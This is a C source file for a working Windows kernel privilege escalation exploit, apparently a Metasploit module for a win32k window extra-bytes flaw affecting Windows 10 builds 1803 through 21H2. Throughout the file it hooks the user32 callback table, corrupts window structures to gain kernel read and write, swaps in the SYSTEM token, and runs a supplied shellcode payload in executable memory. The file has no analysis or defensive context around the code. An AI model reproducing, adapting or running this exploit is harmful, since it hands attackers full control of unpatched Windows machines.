#include #include #include "common.h" #include "definitions.h" #include "exploit.h" #define ConsoleAcquireDisplayOwnership 6 #define BYPASS_BUILD 19042 typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize); typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress); typedef DWORD64 QWORD; fHMValidateHandle HMValidateHandle = NULL; fNtCallbackReturn NtCallbackReturn = NULL; fNtUserMessageCall NtUserMessageCall = NULL; fNtUserConsoleControl NtUserConsoleControl = NULL; fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL; fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL; /* min, max, magic, ... */ HWND g_hWnd[50] = { 0 }; tagWND* g_pWnd[50] = { 0 }; tagMENU* g_pFakeMenu = 0; DWORD g_dwBuild = 0; DWORD g_dwRandom = 0; ULONG_PTR* g_pUser32CallbackTable = NULL; QWORD g_extra_to_wnd1_offset = 0; PVOID g_pMinBaseAddress = 0; SIZE_T g_uRegionSize = 0; const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; ULONG_PTR GetPEB(void) { return (ULONG_PTR)__readgsqword(0x60); } ULONG_PTR* GetUser32CallbackTable() { return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58); } HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) { tagWND* pWnd; for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) { pWnd = (tagWND*)pCursor; if (pWnd->dwStyle != WS_DISABLED) continue; if (pWnd->dwExStyle != WS_EX_NOACTIVATE) continue; if (pWnd->cbWndExtra != g_dwRandom) continue; return (HWND)pWnd->hWnd; } return NULL; } NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) { if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) { HWND hwndMagic = g_hWnd[2]; if (hwndMagic == NULL) { hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize); dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic); g_hWnd[2] = hwndMagic; g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW); } if (hwndMagic) { // this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) { dprintf("Set magicWND->dwExtraFlag |= 0x800"); ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 }; NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); // Set magicWND->pExtraBytes to fake offset dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap); ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 }; return NtCallbackReturn(&Result, sizeof(Result), 0); } } } return g_xxxClientAllocWindowClassExtraBytes(pSize); } NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) { tagWND* pWnd = *ppWnd; // block the free operation on this window for stability if (pWnd->hWnd == g_hWnd[2]) { return 1; } return g_xxxClientFreeWindowClassExtraBytes(ppWnd); } BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) { DWORD dwOldProtect; ULONG_PTR* ptrAddr = NULL; VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect); ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */ g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr; *(ULONG_PTR*)ptrAddr = fAllocHook; ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */ g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr; *(ULONG_PTR*)ptrAddr = fFreeHook; VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect); return TRUE; } #define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes) #define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes); QWORD KernelRead(ULONG_PTR DestAddr) { const ULONG_PTR KernelAddressMask = 0xffff800000000000; if ((DestAddr & KernelAddressMask) != KernelAddressMask) { dprintf("Invalid address: %llx", DestAddr); // if the address doesn't look like a kernel mode address then don't read from it return 0; } MENUBARINFO mbi; memset(&mbi, 0, sizeof(MENUBARINFO)); mbi.cbSize = sizeof(MENUBARINFO); RECT Rect = { 0 }; GetWindowRect(g_hWnd[1], &Rect); *(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40; GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi); DWORD val[2] = { 0 }; val[0] = mbi.rcBar.left - Rect.left; val[1] = mbi.rcBar.top - Rect.top; return *(QWORD*)val; } ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) { ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr); ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data); SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal); return uValue; } BOOL ResolveRequirements(void) { HMODULE hNtdll = LoadLibrary("ntdll"); HMODULE hUser32 = LoadLibrary("user32"); HMODULE hWin32u = LoadLibrary("win32u"); PBYTE pIsMenu = NULL; DWORD dwCursor = 0; if ((!hNtdll) || (!hUser32) || (!hWin32u)) { return FALSE; } /* find all of the functions we need */ if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) { return FALSE; } if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) { return FALSE; } if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) { return FALSE; } if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) { return FALSE; } if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) { return FALSE; } while (*(pIsMenu + dwCursor) != 0xe8) { if (dwCursor++ > 0x20) { return FALSE; } } HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5); /* find the kernel callback table in user32 */ if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) { return FALSE; } /* get the version to determine the necessary eprocess offsets */ DWORD dwMajor, dwMinor, dwBuild; RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); g_dwBuild = dwBuild = LOWORD(dwBuild); dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild); if (!((dwMajor == 10) && (dwMinor == 0))) { return FALSE; } if (dwBuild < 17134) { return FALSE; } /* v1803 - v1809 */ else if (dwBuild < 18362) { g_pEprocessOffsets = &EprocessOffsetsWin10v1803; } /* v1903 - v1909 */ else if (dwBuild < 19041) { g_pEprocessOffsets = &EprocessOffsetsWin10v1903; } else if (dwBuild == 19041) { g_pEprocessOffsets = &EprocessOffsetsWin10v20H1; } else if (dwBuild == 19042) { g_pEprocessOffsets = &EprocessOffsetsWin10v20H2; } else if (dwBuild == 19043) { g_pEprocessOffsets = &EprocessOffsetsWin10v21H1; } else if (dwBuild == 19044) { g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; } else { return FALSE; } return TRUE; } void UpgradeToken(QWORD qwEprocess) { QWORD qwEprocessBak = qwEprocess; DWORD dwPidSelf = GetCurrentProcessId(); QWORD dwSystemToken = 0; QWORD dwMyToken = 0; QWORD qwMyTokenAddr = 0; while (!dwSystemToken || !qwMyTokenAddr) { DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff; if (dwPidRead == 4) dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token); if (dwPidRead == dwPidSelf) qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token; qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks; if (qwEprocessBak == qwEprocess) break; } KernelWrite(qwMyTokenAddr, dwSystemToken); } void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { if (!pMsfPayload) return; PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pPayload) return; CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); CreateThread(NULL, 0, pPayload, NULL, 0, NULL); } DWORD Exploit(PVOID pPayload) { dprintf("Starting exploit..."); if (!ResolveRequirements()) { dprintf("Failed to resolve requirements"); return 0; } srand(time(0) & 0xffffffff); g_dwRandom = (rand() % 255 + 0x1234) | 1; dprintf("dwRandom: 0x%08x", g_dwRandom); WNDCLASSEX wndClass; memset(&wndClass, 0, sizeof(WNDCLASSEX)); wndClass.cbSize = sizeof(WNDCLASSEX); wndClass.lpfnWndProc = DefWindowProc; wndClass.style = CS_VREDRAW | CS_HREDRAW; wndClass.cbWndExtra = 0x20; wndClass.hInstance = NULL; wndClass.lpszMenuName = NULL; wndClass.lpszClassName = "NormalClass"; RegisterClassEx(&wndClass); wndClass.cbWndExtra = g_dwRandom; wndClass.lpszClassName = "MagicClass"; RegisterClassEx(&wndClass); QWORD extra_to_wnd1_offset = 0; QWORD extra_to_wnd2_offset = 0; ULONG64 ConsoleCtrlInfo[2]; // Create a fake spmenu g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8); if (!g_pFakeMenu) return 0; g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0); *g_pFakeMenu->ref = g_pFakeMenu; // cItems = 1 g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0; *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1; // rgItems g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0; // cx / cy must > 0 g_pFakeMenu->cxMenu = 1; g_pFakeMenu->cyMenu = 1; if (g_dwBuild < BYPASS_BUILD) { InstallHooks(); } for (int j = 0; j < 5; ++j) { g_pMinBaseAddress = NULL; for (int i = 0; i < 50; ++i) { g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL); g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW); MEMORY_BASIC_INFORMATION MemInfo; memset(&MemInfo, 0, sizeof(MemInfo)); VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo)); if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) { g_pMinBaseAddress = MemInfo.BaseAddress; g_uRegionSize = MemInfo.RegionSize; } } for (int i = 2; i < 50; ++i) { DestroyWindow(g_hWnd[i]); g_hWnd[i] = NULL; } // Set first window to use kernel desktop heap for extra bytes ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0]; ConsoleCtrlInfo[1] = 0; NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL); g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW); dprintf("hWnd[0]: 0x%08x 0x%p", g_hWnd[0], g_pWnd[0]); dprintf("hWnd[1]: 0x%08x 0x%p", g_hWnd[1], g_pWnd[1]); dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]); extra_to_wnd1_offset = 0; extra_to_wnd2_offset = 0; if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) { extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; } if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) { extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; } Sleep(250); // this small delay seems to improve reliability if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) { DestroyWindow(g_hWnd[0]); DestroyWindow(g_hWnd[1]); DestroyWindow(g_hWnd[2]); dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1); if (j == 4) { LocalFree(g_pFakeMenu); return 0; } continue; } dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset); dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset); break; } g_extra_to_wnd1_offset = extra_to_wnd1_offset; if (g_dwBuild < BYPASS_BUILD) { SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff } else { InstallHooks(); // Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0); // Now magic window's pExtraBytes points to tagWND0 SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff } // Set WS_CHILD to set spmenu with GWLP_ID DWORD style = g_pWnd[1]->dwStyle; SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address // Remove WS_CHILD to use GetMenuBarInfo SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style); dprintf("pWnd[1]->spmenu = %llx", pMenu); if (pMenu) { // Token stealing ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND) ptr = KernelRead(ptr + 0x10); // pwnd->pti (THREADINFO) ptr = KernelRead(ptr + 0x1a0); // pti->ppi (PROCESSINFO) ptr = KernelRead(ptr); // ppi.W32PROCESS.peProcess dprintf("Current EPROCESS = %llx", ptr); if (ptr) { // there is a small possibility that the exploit process up until now has failed and that EProcess is zero UpgradeToken(ptr); ExecutePayload(pPayload); dprintf("The payload has been executed"); } } // Fix corrupted tagWND PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom); SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes); SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800); style = g_pWnd[1]->dwStyle; SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style); DestroyWindow(g_hWnd[2]); DestroyWindow(g_hWnd[1]); DestroyWindow(g_hWnd[0]); UninstallHooks(); LocalFree(g_pFakeMenu); return 0; }